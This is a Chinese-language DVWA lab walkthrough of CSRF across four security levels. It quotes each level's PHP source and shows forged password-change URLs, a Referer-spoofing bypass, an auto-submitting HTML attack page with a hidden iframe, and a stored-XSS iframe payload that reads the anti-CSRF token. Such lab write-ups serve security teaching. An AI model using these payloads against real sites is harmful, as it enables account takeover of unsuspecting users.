目录

Low

Middle

High

Impossible


Low

源代码:

<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>

$GLOBALS :引用全局作用域中可用的全部变量。$GLOBALS 这种全局变量用于在 PHP 脚本中的任意位置访问全局变量(从函数或方法中均可)。PHP 在名为 $GLOBALS[index] 的数组中存储了所有全局变量。变量的名字就是数组的键。

从源代码可以看出这里只是对用户输入的两个密码进行判断,看是否相等。不相等就提示密码不匹配。

相等的话,查看有没有设置数据库连接的全局变量和其是否为一个对象。如果是的话,用mysqli_real_escape_string()函数去转义一些字符,如果不是的话输出错误。

是同一个对象的话,再用md5进行加密,再更新数据库。

知道了这些之后,我们第一次尝试两次秘密不一致看看。

可以看到顶部的URL是:http://127.0.0.1/vulnerabilities/csrf/?password_new=123&password_conf=124&Change=Change#

很明显,这就是修改密码的链接。

我们打开另一个页面,在顶部URL中自己输入如下的

http://127.0.0.1/vulnerabilities/csrf/?password_new=abc&password_conf=abc&Change=Change#

可以看到,直接跳转到了密码成功的页面了

Middle

源代码:

<?php

if( isset( $_GET[ 'Change' ] ) ) {
// Checks to see where the request came from
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
}
else {
// Didn't come from a trusted source
echo "<pre>That request didn't look correct.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>

Middle类型的代码在Low级别的基础上,加上了对用户请求头的中的Referer字段进行验证

 if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false )

即用户的请求头中的Referer字段必须包含了服务器的名字。关于Http Referer字段,详情:验证 HTTP Referer 字段

当我们再打开另一个页面,在顶部URL中自己输入如下的时,

http://127.0.0.1/vulnerabilities/csrf/?password_new=abc&password_conf=abc&Change=Change#

它会报错,提示你Http Referer字段没有定义索引

这次我们先正常的访问这个完整,然后用burpsuite进行抓包,如图可以看到Referer字段

然后,我们打开另一个页面,在顶部URL中自己输入如下的链接,用burpsuite进行抓包

http://127.0.0.1/vulnerabilities/csrf/?password_new=abc&password_conf=abc&Change=Change#

可以看到,当我们直接打开另一个页面,直接输入URL的时候,请求包的头中并没有Referer字段,所以不能修改成功。

那我们可以自己加一个Referer字段,然后值只要设置成包含了主机头127.0.0.1就行了

可以看到,已经成功修改密码了

High

源代码:

 <?php
if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
// Generate Anti-CSRF token
generateSessionToken();
?>

可以看到,High级别的代码加入了Anti-CSRF token机制,用户每次访问改密页面时,服务器都会返回一个随机的token,当浏览器向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。这里因为对请求的token进行了验证,所以比上两个等级的更加的安全。关于 token 抵御CSRF攻击,详情:在请求地址中添加 token 并验证

因为该请求是get请求,所以token验证会被放在请求URL中,我们随便输入密码验证一下,可以看到,在请求的URL中最末尾加入了token。

所以现在要想进行CSRF攻击就必须获取到用户的token,而要想获取到 token 就必须利用用户的 cookie 值去访问修改密码的页面,然后截取服务器返回的token值。然后再利用CSRF漏洞构造URL进行密码的修改。

我们尝试利用下面的代码去构造一个页面,诱使用户点击,当用户点击该链接的这一刻,该代码会偷偷的访问修改用户密码的页面,然后获取到服务器返回的 token ,然后再构造修改密码的表单,加上我们获取到服务器的token值,向服务器发送修改密码的请求。

<!DOCTYPE html>
<html>
<head lang="en">
<meta charset="UTF-8">
<title></title>
<script type="text/javascript">
//获取用户的token,并设置为表单中的token,然后提交修改密码的表单
function attack()
{
document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;
document.getElementById("transfer").submit();
}
</script>
</head>
<body οnlοad="attack()">
<iframe src="http://192.168.10.14/dvwa/vulnerabilities/csrf/" id="hack" style="display:none;"> <!--在该网页内打开另一个网页-->
</iframe>
<form method="GET" id="transfer" action="http://192.168.10.14/dvwa/vulnerabilities/csrf/">
<input type="hidden" name="password_new" value="admin">
<input type="hidden" name="password_conf" value="admin">
<input type="hidden" name="user_token" value="">
<input type="hidden" name="Change" value="Change">
</form>
</body>
</html>

这一切看起来是那么的天衣无缝,无懈可击。可是,我们忘记了浏览器最重要的一个策略——同源策略。由于我们框架ifame要访问的链接是 http://192.168.10.14/dvwa/vulnerabilities/csrf ,这是漏洞网站服务器的链接。而我们的脚本执行的位置是我们自己搭的一个服务器,所以我们的攻击脚本是不可能跨域取到改密界面中的user_token。关于同源策略和跨域问题:浏览器同源策略和跨域的实现方法

由于这里跨域是不能实现的,所以我们之前的想法以失败告终了。

在这里,我们要想获取到用户的token,并提交修改密码的表单的话,就必须得把我们的攻击脚本注入到目标服务器中 。而要想注入到目标服务器,同时得发挥作用,获取用户的 token修改密码的话,就得和XSS漏洞一起结合实现了。

我们将如下代码通过存储型XSS插入到数据库中,这语句会弹出用户的token

<iframe src="../csrf/" οnlοad=alert(frames[0].document.getElementsByName('user_token')[0].value)></iframe>

Impossible

源代码:

<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$pass_curr = $_GET[ 'password_current' ];
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Sanitise current password input
$pass_curr = stripslashes( $pass_curr );
$pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_curr = md5( $pass_curr );
// Check that the current password is correct
$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
$data->execute();
// Do both new passwords match and does the current password match the user?
if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
// It does!
$pass_new = stripslashes( $pass_new );
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update database with new password
$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->execute();
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match or current password incorrect.</pre>";
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>

可以看出,impossible级别修改密码需要输入之前的密码,黑客无法知道用户之前的密码,所以无法进行CSRF攻击。

DVWA之CSRF(跨站请求伪造攻击)的更多相关文章

  1. XSS跨站脚本攻击与CSRF跨站请求伪造攻击的学习总结(转载)

    转载自 https://blog.csdn.net/baidu_24024601/article/details/51957270 之前就了解过这方面的知识,但是没有系统地总结.今天在这总结一下,也让 ...

  2. SpringSecurity原理解析以及CSRF跨站请求伪造攻击

    SpringSecurity SpringSecurity是一个基于Spring开发的非常强大的权限验证框架,其核心功能包括: 认证 (用户登录) 授权 (此用户能够做哪些事情) 攻击防护 (防止伪造 ...

  3. 教你轻松解决CSRF跨站请求伪造攻击

    摘要:CSRF(Cross-site request forgery)跨站请求伪造,通过伪装来自受信任用户的请求来利用受信任的网站.与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也 ...

  4. 安全性测试入门 (三):CSRF 跨站请求伪造攻击和防御

    本篇继续对于安全性测试话题,结合DVWA进行研习. CSRF(Cross-site request forgery):跨站请求伪造 1. 跨站请求伪造攻击 CSRF则通过伪装成受信任用户的请求来利用受 ...

  5. CSRF(跨站请求伪造)攻击方式

    一.CSRF是什么? CSRF(Cross-site request forgery),中文名称:跨站请求伪造,也被称为:one click attack/session riding,缩写为:CSR ...

  6. CSRF(跨站请求伪造攻击)漏洞详解

    Cross-Site Request Forgery(CSRF),中文一般译作跨站点 请求伪造.经常入选owasp漏洞列表Top10,在当前web漏洞排行中,与XSS和SQL注入并列前三.与前两者相比 ...

  7. 浅谈CSRF(跨站请求伪造)攻击方式

    一.CSRF是什么? CSRF(Cross-site request forgery),中文名称:跨站请求伪造,也被称为:one click attack/session riding,缩写为:CSR ...

  8. Django之CSRF跨站请求伪造(老掉牙的钓鱼网站模拟)

    首先这是一个测试的代码 请先在setting页面进行下面操作 注释完成后,开始模拟钓鱼网站的跨站请求伪造操作: 前端代码: <!DOCTYPE html> <html lang=&q ...

  9. (28)django的中间件(自定义中间件和防范跨站请求伪造攻击)-重要的概念

    Django中间件和中间件不是同一种东西 什么是中间件:中间件是一个很大的概念,只要程序和程序之间还有一层程序,用来处理两个程序的整个交互过程的请求.数据等等就叫中间件 Django中间件:是介于re ...

随机推荐

  1. WEB服务-Nginx之十-keepalived

    WEB服务-Nginx之10-keepalived 目录 WEB服务-Nginx之10-keepalived Keepalived和高可用 基本概述 Keepalived安装配置 Keepalived ...

  2. WebSocket与即时通讯

    HTTP 协议有一个缺陷:通信只能由客户端发起!HTTP 协议做不到服务器主动向客户端推送信息.这种单向请求的特点,注定了如果服务器有连续的状态变化,客户端要获知就非常麻烦.我们只能使用"轮 ...

  3. Linux目录,rpm及top,vi命令简记

    一次简单的Linux常用操作记录 一.一些Linux目录结构 /bin 存放二进制可执行文件(ls.cat.mkdir等),一些常用的命令一般都在这里. /etc 存放系统管理和配置文件 /home ...

  4. python-类的多态的理解

    了解多态 多态指的是一类事物有多种形态 .定义:多态是一中使用对象的方式,更容易编写出通用的代码,做出通用的编程,一适应需求的不断变化 实现步骤: 1.定义父类,并提供公共方法 2.定义子类,并重写父 ...

  5. Lombok 常用注解总结

    本文转载自知乎专栏 极乐科技.有所整理. 主要注解 @Data @Setter @Getter @Log4j @AllArgsConstructor @NoArgsConstructor @Equal ...

  6. C++11多线程编程(常见面试题)

    [题目1] 子线程循环 10 次,接着主线程循环 100 次,接着又回到子线程循环 10 次,接着再回到主线程又循环 100 次,如此循环50次,试写出代码 [题解] 首先我们来分析一下这道题...( ...

  7. python3 多线程爬虫模板

    原文:https://www.jianshu.com/p/06ae2373f560 1 import threading # 多线程模块 2 import queue # 队列模块 3 import ...

  8. Github Actions 还能做这些事

    前言 最近公司内部项目的发布流程接入了 GitHub Actions,整个体验过程还是比较美好的:本文主要目的是对于没有还接触过 GitHub Actions的新手,能够利用它快速构建自动测试及打包推 ...

  9. 【LiteOS】LiteOS任务篇-源码分析-创建任务函数

    目录 前言 链接 参考 笔录草稿 部分源码分析 源码分析 LOS_TaskCreate函数 LOS_TaskCreateOnly函数 宏 OS_TCB_FROM_PENDLIST 和 宏 LOS_DL ...

  10. SFDC 删除操作时:验证或触发后续操作的一般解决方案

    删除操作比较特殊,不能通过Workflow Rule和Process Builder,Validation Rule来Check和相应做后续操作. 目前调查只有两种工具可以监听到删除操作: Apex ...